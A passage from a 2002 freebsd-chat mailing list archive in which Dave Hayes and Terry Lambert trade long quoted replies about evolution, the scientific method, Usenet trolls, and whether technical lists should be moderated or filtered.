(hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2390C43E4A for ; Mon, 2 Sep 2002 04:41:13 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g82Bf7157514; Mon, 2 Sep 2002 04:41:07 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209021141.g82Bf7157514@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 02 Sep 2002 04:41:02 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> > The answer is that only gene combinations which are actively fatal >> > to the organism will be removed from the gene pool. If they are not >> > active, then they are not removed. >> >> But still not expressed, which is what I was driving at. > > No. They may be expressed in individual offspring. If they are present. >> > Look up the phrase "fellow traveller". 8-). >> >> Do you mean: > [ ... something which I did not mean ... ] > http://www.maths.warwick.ac.uk/gt/ftp/main/m1/m1-11.pdf Great. More words that are not yours. >> The environment does not vote. It is not active in the process. >> The mutated individual either adapts or does not adapt to its >> environment. Your synthesis breaks down here. > > Posit a mutation which enables the breathing of Chlorine gas, > but not an Oxygen/Nitrogen mix. The environment votes, most > explosively. It's not the environment that votes, it's the creature that dies. The environment is fairly static in this case. >> >> They have to find you first. In that, there is the balance of power. >> > Read: The Transparent Society >> >> The difficulty I have in arguing with you is that a lot of my >> knowledge comes from experience and observation. A lot of yours >> seems to come from books. If I were extremely well read, I would >> probably sound like you (heaven forbid), since this is the Nth >> time that you've used others' written works to rebut a point. > > Experiential evidence is anecdotal. It's the only thing I really consider valid, unless thinking in a scientific context. > Observational evidence is real evidence, only if the observations > are repeatable under controlled conditions. Real conditions are seldom controlled, so the usefulness of this assertion is limited. Observations, when correctly filtered for one's own assumptions, provide real data. > I admit that I read a lot, and that I don't really understand > why you won't permit macro expansion, as if the other person had > argued my case for me. ;^). Because it's not coming from you? Because I don't trust the other person's arguments to be valid? ;) Hmm. Let me try it on you, but with something from my domain: http://www.lyricscafe.com/m/mayer_john/johnmayer3.htm It's a bit modern, but it fits your criteria of macro expansion. >> By now you must have realized that I don't consider something >> authentic just because it's written in a book, or because some famous >> or infamous or little known scientist says it is true while providing >> a rationale and experimental data. > > Neither do I; if you feel that I've been appealing to authority, > rather than appealing to logical arguments made by others which > support my fundamental points, then I guess we're at an impasse, I consider logical arguments, in the inappropriate contexts, an authority rather than a vehicle of truth. Some of what we are arguing about transcends logic. I can do logical arguments, but rarely in these contexts we are talking about. > if you are going to insist that I personally argue all my own > points from first principles, as a subjective measure of validity. That's just the point. Even if you did, it wouldn't help. >> So. The question remains as to why you continue to put someone else's >> words where your mouth is. I suspect the answer is because you are >> deeply, almost religiously, mapped into the scientific reality. That's >> neither good nor bad, just a statement of what I appear to see. If it >> works for you, use it. I'm not trying to change this or anything about >> you. Often times I map into this reality too, it is useful for solving >> a number of problems. > > It's certainly useful for solving the problem which stands before > this forum: THAT is where we disagree. ;) > we can, in fact, design a system which has the emergent properties > we desire the system to have. And therefore we can design a system > that, by it's very nature, will squelch speech which is not topical, > e.g. that of "trolls". I highly doubt you can do this without squelching information which would be useful but at the border of the order you are attempting to impose. >> What I don't understand is this. If you are going to provide examples >> in critical thinking as a suggestion to me or others, why not apply >> those examples to the tenets of science? > > I do. Really? ;) >> The scientific method works for some bounded space of problems, but >> you never see a scientist apply critical thinking to that method, >> wondering whether or not it is appropriate to apply to what just >> occurred. You never see a scientist question their own assumptions >> far enough to get to the scientific method. > On the contrary. It is the nature of science to question assumptions. > I see scientists question their own assumptions all the time; all that > is required to trigger this is a contradictory observation. Scientists > never hold forth facts, only hypothesis. Observational evidence contradicts this assertion. Really, I've rarely seen this, and that fact is why I escaped academia years ago. (They tried to hold me in but...) > [ ... profoundly bad example ... ] Why? >> But example or no example, it is this level of critical thinking I >> find absent in science and really most human knowledge. > I think you are hanging with the wrong peeps. I can't help it. If you knew me, you'd understand why. I'd explain, but words don't do justice. ;) >> > Incorrect. The skills are passed environmentally. >> >> I know you cannot prove this, so I'll move on. I also believe, if >> you'll look, there's recent evidence to the contrary. I know not >> where to look, I was speaking with some PhD somewhere about these >> matters. I'm sure you'll find it. ;) > > You're talking about Wiley's work, I presume? Might be. It's been awhile since I've had the time to pursue my genetics and GA studies. "Real world" ya know. ;) I do need to catch up on my "emergent behavior from genetic algorithm" studies. Someday. >> > So you are able to seperate the genetic (your nature) and environmental >> > (programming) factors that make up your own psyche? >> >> Most of them, yes...though I hardly see how this is relevant and I >> sure wouldn't phrase it that way. > > It's important in that it defies the incompleteness theorem; it's > "The Truth The Machine Dares Not Utter". Hmm. It's -hard- to get to that place. I don't care how smart you are or how enlightened you think you are, the truth can hurt real bad sometimes. The pain comes from assumptions which are literally backwards from what "objective reality" is. Thus, it's my belief that some smart cookie (Godel?) stumbled upon a way to rationalize (prove) things so that you wouldn't have to experience that pain. We really aren't computers, though they are made in our conception of our image. >> > We would merely be debating the self-consistency of the >> > model you are proposing. >> >> Intellectual masturbation, at best. You are already going to disagree >> with me, no matter what model I propose. I give up before I've even >> started. > > Incorrect. If you can demonstrate that your system is self-consistent, > then it can be measured against how well it models empirical data, and > whether or not it's predictive. In Your Humble Worldview. > Something can be a useful model without being "The Truth". The > issue is one of accuracy and correctness. To test that which has been tested is ignorance. To try to test something without the means of testing is even worse. From my .fortunes file. > If, on the other hand, the model is not self-consistant, or it > fails to be predictive on any scale, and there is another model > which better fits all the observable data, then it should be > discarded. Sometimes, a model that doesn't "academically work" can still "practically work". >> > Goedel. >> >> His proof was the last mathematical proof I ever read. You really >> don't need to read another once you've read that one. ;) > > There is a fine balance to be struck here. > > Many people believe anything someone in authority shovels into their > head, and accept it as if they had arrived at the same conclusions > independently. Yes, I've observed this. > At some point, if they are lucky, they are faced with indisputable > empirical evidence that something they were told, and had thus > internalized, is not true, and begin to question everything they > are told. It is very easy to quit learning entirely, at that point, > or to have your rate of learning slow to a crawl. Unfortunately, to grow to see the Truth, this has to happen. You have to see the mechanism of assumption at work before you can begin to write your own internal debugger to check for bad ones. ;) >> > As long as it has the effect of stifiling communition *by trolls*, >> > that's all that matters, in the limit, since that is the problem >> > we are trying to address. >> >> You can't orthogonalize this. You can't just apply a transform and have >> the troll component vanish, you still affect the other communication. > > Why can't it be orthogonalized? You are effectively arguing > against the Taniyama-Shimura conjecture... which has been > proven. The who? Good grief. Is this an authority? ;) > All I have to do is pick the correct modular goal-space, where > all pro-society goals are located on one side of a boundary manifold, > and all anti-society goals are located on the other side of the > same boundary manifold. I can't agree with that at all. The world of humans doesn't always obey any strict mathematical definition, and as such is not a candidate for scientific manners of investigation. >> > You claim this, yet, if you anhilate your enemy, rather than >> > merely decimating them, they do not rise again. >> >> No, their traits appear in another and another and... >> >> If you can understand this, it's your opposition to the traits that >> generates enough energy to pull in those who have them. > > I understand your claim, but I don't agree with its accuracy. Ok. What do you really really hate? Has it gone away? ;) > Your argument seems to say that racists exist because racism > is reproached by society. Interesting interpretation, but the focus of my argument deals only with individuals. Yes, several individuals of like charge COULD get together and by fascination attract individuals of opposite charge. In my opinion, the mechanism is best understood invidually. > I would argue that this is false. I would argue that racism > exists because it is possible to distinguish race in the first > place. If you are going to generalize, do it one step further. "Any differentiating quality between humans will be used by those or other humans as an inference of superiority." > Dark does not exist because light exists, it exists because > organs which are capable of percieving the distinction exist. Even as the organs exist, you till need both stimula available to distinguish anything. Thus Dark exists because Light does. >> > Don't be coy. I've read your web site, and I'm well aware of >> > your failure to establish what you call a "Usenet Site of >> > Virtue". >> >> I'm not being coy, I've demonstrated many times since. The problem in >> that particular case was my failure to observe the dichotomy in place >> between troll and netcop. One pulls in the other, no matter what you >> do. When I could see that they were just two sides of the same coin, >> well that's when I gave up on USENET. > > You ignored the third alternative: establish your own instance > of usenet, rather than attempting to peer with the one where the > "netcops" existed. I did that. Free.* was taken over by Tim Skirvin... > It was your attempts at peering which resulted in conflict, not > your running of a server, by and of itself. Actually this is incorrect. The real conflict was my ability to finance a news server while attempting to start a business. I often try to do too much, it's because I lead a dual life... ;) > If your argument is that by running a server by and of itself, you > will attract "your own trolls", in the form of "netcops", who, by > virtue of their minority membership, are the trolls, then your > argument against tolerance of trolls is itself invalidated: if the > argument had validity, then you should have merely tolerated their > presence, and lived with it. The argument is actually that whichever comes first, the opposite will follow. What you suggest was already being done by me for many years on USENET. I even hung out where all the people I couldn't tolerate were...news.admin.*. >> I won't say it's easy to do, but my successes (which will remain >> anonymous lest they get polluted by my failures) have neither troll >> nor netcop in them, and they do just fine. No trolls. No netcops. (And >> no WAY am I telling where they are, lest they get polluted.) > > So basically, you are assuring your security through obscurity, rather > than through explicit means, while decrying others suggestions of > similar implicit means. You said that society doesn't want this solution. I came to that long time ago, after years of being told that on USENET. I reasoned that if society didn't want it, then I could create little private places with impunity to your argument. It kind of feels like certain old nursery rhymes. Now that I know how to bake a cake and have, in fact, baked a few...everyone wants a slice. Pity no one helped. ;) You should also recognize that if I were to apply scientific method, I needed to have a control case as well as an applicative and placebo case. It was actually during this phase that I recognized the scientific method does -not- work for this kind of thing, there are no actual measurable results because you can't correct for the type of people and you can't bring in the exact same people to different experiments without invalidating your results. >> It's not a science yet, but once I feel confident, and of course if >> it's appropriate, I may make a public attempt on FreeNet, where >> netcops can't do any damage. It is my theory that the trolls, without >> netcops to drag them in, will go elsewhere over time. > > It's my theory that if a troll is being paid to disrupt a forum, > that payment need not come in the form of the reactions of a > so-called "netcop". Unlike so many of the "rational people", I'm not one to dismiss consipiracy theories just because they are conspiracy theories (lest conspiracies actually become enabled by such behavior). I'm curious as to what grounds you have for this theory. >> > One you run, instead of expecting someone else to run it for you. >> >> Straw man. I can't start up a counterpart freebsd list and you know >> it. > > Why not? What's preventing you from doing so? Common sense. ;) >> > Responding... as in the response of blocking future posts? Or >> > do you mean engaging in discourse with the troll? >> >> Discourse, of course. ;) > > This can not work. Trolls are uninterested in discourse. Not all trolls are uninterested. There are many classic Usenet trolls that posted for the response it would get. Archimedies, your buddy. ;) The famous "rec.pets.cats/rec.model.airplanes" cat bomb crosspost (hilarious but doomed to flames from the cat lovers). Serder Argic. The list goes on, but those last three examples are examples of trolls who lived for responses. Perhaps support for your "paid troll" theory can be had by noting that paid trolls don't really care about the response as long as they can shut down the list. (I'm trying to think like you here, correct me if I am wrong but I think this is your theory.) > [ ... "chilling effects" of moderation vs. "chilling effect" of trolls ... ] >> Either way we lose, so why not make it the most open way and don't >> block anyone? > As long as the forum serves it purpose to the society, then there is > no "chilling effect" which results from blocking trolls. It depends how you block them. The current situation is fine. If you were to moderate a list, that would start chilling real posts. >> What about those questions which cannot be dealt with rationally? > > What questions which cannot be dealt with rationally? "Is there a God?" "Why are we here?" "What is the one difference between a sacred being and an evil being?" Those are some examples. Have fun. ;) >> > The problem with this is it ignores the fact that topical >> > postings, however unpopular, will be protected by the mutual >> > security network. >> >> That's not what actually happens in moderation. A subset of ideas that >> are 'out of the box' enough to be topically suspect (even though of >> interest to the community) will be refused entry to the list. Thus, >> the list is denied the fresh input of new data, even if absurd. > > It depends on what you mean by "moderation". Classic moderation is where a small subset of "society" gets all the messages destined for a forum. They then determine whether to post those or not. >> > It defines a specific type of mutual security game. The kind >> > which is played by Open Source Software projects on mailing >> > lists, news groups, or other communications mediums. >> >> I don't agree that, in this case, "mutual altruism" has any >> differences from "altruism" in this case...for altrusim to be >> authentic it must not be required or have strings attached. If you >> are saying "mutual altruism" has strings attached, then I disagree >> that this is "altruism". > > Go ahead and disagree. You won't get the games theorists to change > their name for the game, Heh, good. I'm not trying to do that. ;) >> > The only moderation which has been suggested recently is the >> > moderation of the FreeBSD-security list. >> >> Yes. Hopefully that issue will subside. > > It will only happen if the trolling subsides first. Baiting the trolls, are we? >> > Nonsense. I only have a responsibility to the societies of >> > which I am a member. >> >> What? Where's your social conscience? ;=P How can you not be >> responsible to another human being, who is a member of the most >> basic society...that of all human beings? > > "Human being" is a definition that encompasse both genetics and > programming. If someone lacks the proper programming, then by > definition, they are merely homo sapiens, not human beings. Nice dodge. ;) >> > To put it another way, you have the right to speak, but you do >> > not have the right to an audience, or the right to the forum in >> > which a particular audience exists. >> >> This is such a straw man. Did you really read my site? Speaking, >> without an audience, is not speaking in the sense that the "right to >> speak" implies. I will concede that the audience has a right to >> ignore you... > > If I am a newspaper reporter, do I have the right to ignore you? Not if I have the Dallas Cowboy Cheerleaders at gunpoint. ;) >> > Participation in society is voluntary. >> >> I disagree. Like you said, societies are in the same competing space >> which is getting smaller (by occupation) everyday. You really don't >> have a choice. > > Someone forced you to subscribe to the FreeBSD mailing lists, > at gunpoint? Not at gunpoint, but I do have over 35 active FreeBSD systems to care for...I think there's an imperative there don't you? >> > Maybe my idea of perfection would be that it would be enough for >> > it to exist in the first place. 8-). >> >> Perhaps, but I'm sure this would change after the first troll comes. ;) > > Part of its perfection is that there would be an immune response > that made the troll go away. Maybe this response is "Hey, friend..."? (Ok, so that's -my- utopia, not yours.) >> > If you want to self-assemble a community around a different issue, >> > or if you want to self-assemble a community around the same issue >> > or a different license, then feel free to do so. >> >> This straw man again? > > I fail to see how this is a straw-man. Of course you do. That way you can get me to argue about it. ;) > The noosphere is not bounded to a finite competitive resource > domain, as you keep implying with your "move to an island" > analogy. I'll grant you finitely uncountable, but really the limit is in how long you have to peruse it. >> >> Only 8? Amazing. What are they? >> > >> > None of anyone else's damn business. 8-). >> >> Well then. You must not have so much faith in them, if security by >> obscurity is your method. ;) > > I have faith in them. But not faith enough in yourself to reveal them and risk assumptive damage? ;) > It would be easy to be dismissive of someone's arguments, if you > knew the axioms from which they arose, since you could merely dismiss > the axioms, and thereby, anything arising from them. Sure. It's been done to me thousands of times. > Similarly, it would be fairly easy to model someone, once you > knew their axiomatic basis and, through such modelling, be able > to manipulate the outcome of interactions with them ("game the > system"). People have done this to me too. > It suits me to not put myself in either of these positions. The difference between you and I is, I can operate independent of my axioms. Sometimes without thought even. If I'm lucky, complete mental shutdown. >> > I prefer to think of it as having a multitude of streams, each >> > containing a certain classification of data, and filtering by >> > means of selecting which streams to monitor. It's significantly >> > more efficient, since it means that I don't have to interpose an >> > additional latency barrier. >> >> You cannot classify the streams so efficiently as to demand that >> one or three postings in a month be removed from the stream. > > Are you claiming "it cannot be done", or "Terry, personally, is not > capable of the feat", or "Dave Hayes is not capable of the feat, > therefore no one else is". Be careful how you answer... As the limit of time approaches infinity, you can't. ;) >> Let's debunk another straw man. You simply -have- to filter email in >> today's internet. There's no choice. Even if you have every message on >> topic and no spam, you could be connected to 1000s of people. In >> otherwords, there are many more people than you, so you must filter in >> order that you are not constantly reading mail. > > We are not arguing the advisability of filtering, per se. We are > merely arguing *where* the filtering should be enacted. My argument > is that the filtering should be enacted where the costs are least, > and your argument is that the filtering should be enacted where the > costs are greatest. Yes, and for very good reason. Personally, I don't want someone else determining what I will and will not see. I'm sure you can agree that the most honorable thing to do is allow people to create their own filters? > [ ... Dave Hayes "manifest destiny of the Internet ... ] >> >> No, that's a use that I observe is necessary. >> > >> > That's the use which you *posit* is necessary. Quintessential >> > necessity has yet to be established indisputably. >> >> I said "observe" and I meant observe. Your dismissal of my assertion >> doesn't change my observation, only what you think of it. > > Provide sufficient data that your observations can be repeated > under controlled conditions, to independely gather data which > is representative of the data you claim to have observed, make > ou own data and collection techniques publically available for > scholarly study, or be prepared for people to question the > conclusions you draw based on that data. Question all you like. Hell, everyone else does. I claim that if you question this, you are unknowingly dishonoring lots of people. Why is the internet only for the academic or the rich? What's wrong with some guy from inner LA talking to someone at Harvard? Not a damn thing. For the noosphere to represent the entire thought space of mankind, everyone has to have their ability to contribute. > Me questioning your conclusions is not equal to me dismissing them. I'm not so sure about that. The feeling is off. ;) >> > And the reason I argue for preconditionas on particular channels >> > is the computational expense inherent in implementing your method. >> >> Which pales to the computational expense to send and receive all email. > > Wrong. Email sent to a list has a multiplicative effect. Nonsense. Email sent to a list is a subset of all email sent, for any unit of time you want to greater than the time it takes to send one email message to the list. >> > It's not a strawman. Do it. The only thing preventing you from >> > running a mailing list server or usenet server of your own is you. >> >> It's a strawman. It's meaningless to the point of "moderating the >> freebsd lists", which already exist and communicate valuable >> information. > > Laying aside the argument that I have not been advocating moderating, > now you are merely arguing your own convenience. It would be easy > to set up a system where there were tiered offerings, e.g.: Your offerings violate your own assertion about computational expenses. >> > It didn't force me to post. I chose to post, in response. >> >> It is that choice to which I referred to above. > > "Responding" != "lobbing the first volley". In the sense I meant "responding" yes it does equal. You didn't have to respond to me. You chose to. So take responsibility for initiating this entire diatribe. You could have just ignored me... >> >> What established social norm? >> > >> > "No Trolls Allowed >> >> I never saw that as an established social norm on the freebsd lists. >> Really, it looked like the matter had rarely been talked about. > > It's implicit. Trolls are by definition, off-topic. Where does it say this explicitly? ;) >> > Not applicable, unless there is a shared reference frame. >> >> "Evil" is that frame. Hello? How does someone so booksmart become so >> obtuse?...er never mind. ;) > > Nonsense. I do not consider Rushdi to be evil, merely because > Khomeni declared him to be evil. I do *not* share that reference > frame, because I do not accept one of the consequences of the > acceptance of that frame. For this argument, Evil is defined as "that which you think you must oppose". That's not a good overall definition, but it will do for the purposes of this diatribe. >> > The results validate or invalidate the effectiveness of the >> > means. That's a very different statement. >> >> Not really. If the results validate the effectiveness, the means >> are justified. That is how you think, no? > > No. What justified is self defense, either by an individual or > a society. Some defenses are merely more effective than others. So if someone is chopping the hedges on your side of the fence, and you blow him away with a 12-gauge shotgun, it's ok because it was effective? >> But if you were king... > I'll cross that bridge when I come to it... When? *shiver* ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< If you go flying back through time and you see somebody else flying forward into the future, it's probably best to avoid eye contact. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 4:47:51 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5186C37B400 for ; Mon, 2 Sep 2002 04:47:45 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id C0F3243E4A for ; Mon, 2 Sep 2002 04:47:39 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g82BlW157571; Mon, 2 Sep 2002 04:47:32 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209021147.g82BlW157571@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 02 Sep 2002 04:47:27 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> > See my references. Do the math. The game you are describing has >> > only one set of paredo-optimal results. >> >> I can infer the validity from my observations, thank you. > > Then may I suggest you do so? 8-). Already disproved by my observations. >> A better example is focus on what you want to read rather than >> focusing on what others do not want to read. By your own mechanics, >> if everyone did this, trolls would not have any effect on the >> community. > > There are people who can not do this. I would prefer to have the > contributions of those people, than the participation of the trolls. > If I must lose one or the other, let it be the trolls. I feel exactly the opposite. If someone can't hit a key on the keyboard and render the troll powerless, I don't want to be held hostage to their choices. Good riddance. >> You don't appparently even have the desire to know what real "good" >> is. Hint: it's not the average perception. > The closest you can come to any ideal is to produce a system whose > output asymptotically approaches the ideal. Assuming a numerical space upon which the range of the solution lies, of course. =P >> > We already know how to measure good: it's 100 minus the precentage >> > deviation from the consensus. >> >> I disagree that this is good or has anything to do with real good. > > The consensus definition is all that matters, Actually, it matters the least. > unless you believe we are being judged against some absolute scale > by a higher power. This is a classic religious (and thus, inaccurate) tenet. Good has a definition which is non-obvious except to a 6 year old. Except it's not useful to define good or even quest for it. >> The consensus thinks that getting filthy rich is good. If everyone >> were filthy rich, there wouldn't be a notion of rich or poor, and >> the concept would vanish. Then no one would be rich. > > Or poor. And that would be good. Well, people would focus on not being rich. Then they'd be unhappy. What good is a BMW if you cant brag to your friends because they all have one too? ;) >> > Your insistance on "unknowability" is bizarre. >> >> To you, perhaps. Everything must be knowable in your universe. I can >> live with some things being unknowable. > > You lack of curiousity and determination marks you. There's a misread. I don't lack these things at all. What made you say this? >> > A definition I accept; I don't claim to have originated it. >> >> I don't accept it outside of physics or engineering, surprise >> surprise, but you brought it up therefore it's yours. ;) > > You lack of a belief in gravity will not spare you from its effects. 8-). Actually, it's coupled to survival. If I stop believing in gravity to the point where it stops working, I'll fly off the planet and die in space. So I'd better keep beliveing in gravity, eh? ;) ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< We may eventually come to realize that chastity is no more a virtue than malnutrition. -- Alex Comfort To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Mon Sep 2 6:31: 6 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 74FD337B400 for ; Mon, 2 Sep 2002 06:30:37 -0700 (PDT) Received: from gull.mail.pas.earthlink.net (gull.mail.pas.earthlink.net [207.217.120.84]) by mx1.FreeBSD.org (Postfix) with ESMTP id C5D2A43E4A for ; Mon, 2 Sep 2002 06:30:36 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0039.cvx40-bradley.dialup.earthlink.net ([216.244.42.39] helo=mindspring.com) by gull.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17lrHj-0006q5-00; Mon, 02 Sep 2002 06:30:31 -0700 Message-ID: <3D7367BB.2AC28CF2@mindspring.com> Date: Mon, 02 Sep 2002 06:29:31 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209021141.g82Bf7157514@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > > Posit a mutation which enables the breathing of Chlorine gas, > > but not an Oxygen/Nitrogen mix. The environment votes, most > > explosively. > > It's not the environment that votes, it's the creature that dies. > The environment is fairly static in this case. The environment chooses the creatures which survive. > > Experiential evidence is anecdotal. > > It's the only thing I really consider valid, unless thinking in a > scientific context. That's interesting. How is it that problems you solve in this fashion stay solved, so that you don't have to repeat the work over and over again, forever, with each problem/solution pair adding to the mass of what you carry forward, until you hit your load limit, and can no longer contribute usefully to society? My personal preference it to analyze the problem, determine the class of problems it represents (if non-unique), and then solve for the set of problems in the space represented by the class, do it once, and never have to look back. I hate having to solve the same problem more than once: it's an incredible waste of my time. > > I admit that I read a lot, and that I don't really understand > > why you won't permit macro expansion, as if the other person had > > argued my case for me. ;^). > > Because it's not coming from you? Because I don't trust the other > person's arguments to be valid? ;) Flatterer. > Hmm. Let me try it on you, but with something from my domain: > > http://www.lyricscafe.com/m/mayer_john/johnmayer3.htm > > It's a bit modern, but it fits your criteria of macro expansion. Amusing. I was admiring this song the other night, when I and another person were on our way to see a movie. I rather expect the parts I was admiring were not the same parts you admire enough to quote it to me. I'm put in a mind of the scene from the movie "A Fish Called Wanda", in which Wanda and Otto are discussing his reading of Nietsche... > I consider logical arguments, in the inappropriate contexts, an > authority rather than a vehicle of truth. Some of what we are arguing > about transcends logic. I can do logical arguments, but rarely in > these contexts we are talking about. You mean, like machine enforcement of the charters for technical mailing lists... > > we can, in fact, design a system which has the emergent properties > > we desire the system to have. And therefore we can design a system > > that, by it's very nature, will squelch speech which is not topical, > > e.g. that of "trolls". > > I highly doubt you can do this without squelching information which > would be useful but at the border of the order you are attempting to > impose. Message sender: [ body] [ public key, dated, signed by list server private key ] [ signature of body + signed public key, signed by user private key ] List server verification: [ public key signed by list server private key Yes/No ] [ body + digned public key, signed by user private key Yes/No ] [ Any non-Yes answer := posting rejected ] ...problem solved. Also, all messages now non-repudiable (I view this as a disadvantage, but not in this context). > > On the contrary. It is the nature of science to question assumptions. > > I see scientists question their own assumptions all the time; all that > > is required to trigger this is a contradictory observation. Scientists > > never hold forth facts, only hypothesis. > > Observational evidence contradicts this assertion. Really, I've rarely > seen this, and that fact is why I escaped academia years ago. (They tried > to hold me in but...) As I said before, you are hanging with the wrong peeps. > > [ ... profoundly bad example ... ] > Why? Because it analogizes an impedence mismatch with a convergent series. > > It's important in that it defies the incompleteness theorem; it's > > "The Truth The Machine Dares Not Utter". > > Hmm. It's -hard- to get to that place. I don't care how smart you are > or how enlightened you think you are, the truth can hurt real bad > sometimes. The pain comes from assumptions which are literally > backwards from what "objective reality" is. Thus, it's my belief > that some smart cookie (Godel?) stumbled upon a way to rationalize > (prove) things so that you wouldn't have to experience that pain. Rudy Rucker, _Infinity and the Mind_: http://www.braungardt.com/Mathematica/Incompleteness%20Theorem.htm > > Incorrect. If you can demonstrate that your system is self-consistent, > > then it can be measured against how well it models empirical data, and > > whether or not it's predictive. > > In Your Humble Worldview. Since it's me you are trying to convince, I'd say "run with it!". 8-). > > Something can be a useful model without being "The Truth". The > > issue is one of accuracy and correctness. > > To test that which has been tested is ignorance. Velilind's Laws of Experimentation: 1. If reproducibility may be a problem, conduct the test only once. 2. If a straight line fit is required, obtain only two data points. > To try to test something without the means of testing is even worse. Never test for an error condition you don't know how to handle. -- Steinbach > Sometimes, a model that doesn't "academically work" can still > "practically work". "Finger quotes"?!? > > Why can't it be orthogonalized? You are effectively arguing > > against the Taniyama-Shimura conjecture... which has been > > proven. > > The who? Good grief. Is this an authority? ;) "All elliptic curves have modular forms" > > All I have to do is pick the correct modular goal-space, where > > all pro-society goals are located on one side of a boundary manifold, > > and all anti-society goals are located on the other side of the > > same boundary manifold. > > I can't agree with that at all. The world of humans doesn't always > obey any strict mathematical definition, and as such is not a > candidate for scientific manners of investigation. Oh, this is so wrong. Individual humans are not completely predictable (yet), but statistically, groups of humans are very, very predicatable. > > Your argument seems to say that racists exist because racism > > is reproached by society. > > Interesting interpretation, but the focus of my argument deals only > with individuals. Yes, several individuals of like charge COULD get > together and by fascination attract individuals of opposite charge. > In my opinion, the mechanism is best understood invidually. It's impossible to generalize accurately about individuals. > If you are going to generalize, do it one step further. "Any > differentiating quality between humans will be used by those > or other humans as an inference of superiority." No. I admit only the possibility, not the inevitability. > > You ignored the third alternative: establish your own instance > > of usenet, rather than attempting to peer with the one where the > > "netcops" existed. > > I did that. Free.* was taken over by Tim Skirvin... That was a hierarchy within the context of the genereal usenet. I'm talking about non-interoperation. > You said that society doesn't want this solution. I came to that long > time ago, after years of being told that on USENET. I reasoned that if > society didn't want it, then I could create little private places with > impunity to your argument. > > It kind of feels like certain old nursery rhymes. Now that I know how > to bake a cake and have, in fact, baked a few...everyone wants a slice. > Pity no one helped. ;) "The Little Red Hen" argument applies here... > You should also recognize that if I were to apply scientific method, I > needed to have a control case as well as an applicative and placebo > case. It was actually during this phase that I recognized the > scientific method does -not- work for this kind of thing, there are no > actual measurable results because you can't correct for the type of > people and you can't bring in the exact same people to different > experiments without invalidating your results. Any existing system that fulfills a similar societal role is a control. I think you are confusing the society itself, which is an independent tentity, with the communications media within which its internal systems operate. The two are not identical. > > It's my theory that if a troll is being paid to disrupt a forum, > > that payment need not come in the form of the reactions of a > > so-called "netcop". > > Unlike so many of the "rational people", I'm not one to dismiss > consipiracy theories just because they are conspiracy theories (lest > conspiracies actually become enabled by such behavior). I'm curious > as to what grounds you have for this theory. You've refused indoctrination into non-linear dynamics as applied to social science; I'm afraid, I can't communicate it to you unless you are willing to learn the language... > > This can not work. Trolls are uninterested in discourse. > > Not all trolls are uninterested. There are many classic Usenet > trolls that posted for the response it would get. Archimedies, your > buddy. ;) The famous "rec.pets.cats/rec.model.airplanes" cat bomb > crosspost (hilarious but doomed to flames from the cat lovers). > Serder Argic. The list goes on, but those last three examples > are examples of trolls who lived for responses. The trolls we care about getting rid of are not interested in discourse. > Perhaps support for your "paid troll" theory can be had by noting > that paid trolls don't really care about the response as long as > they can shut down the list. (I'm trying to think like you here, > correct me if I am wrong but I think this is your theory.) Yes, this is my theory. > >> What about those questions which cannot be dealt with rationally? > > > > What questions which cannot be dealt with rationally? > > "Is there a God?" "Why are we here?" "What is the one difference > between a sacred being and an evil being?" > > Those are some examples. Have fun. ;) How to deal with them rationally: "I don't know". > > It depends on what you mean by "moderation". > > Classic moderation is where a small subset of "society" gets all > the messages destined for a forum. They then determine whether to post > those or not. This doesn't work. Not because of the reasons you keep claiming, but because it will not scale. > >> > The only 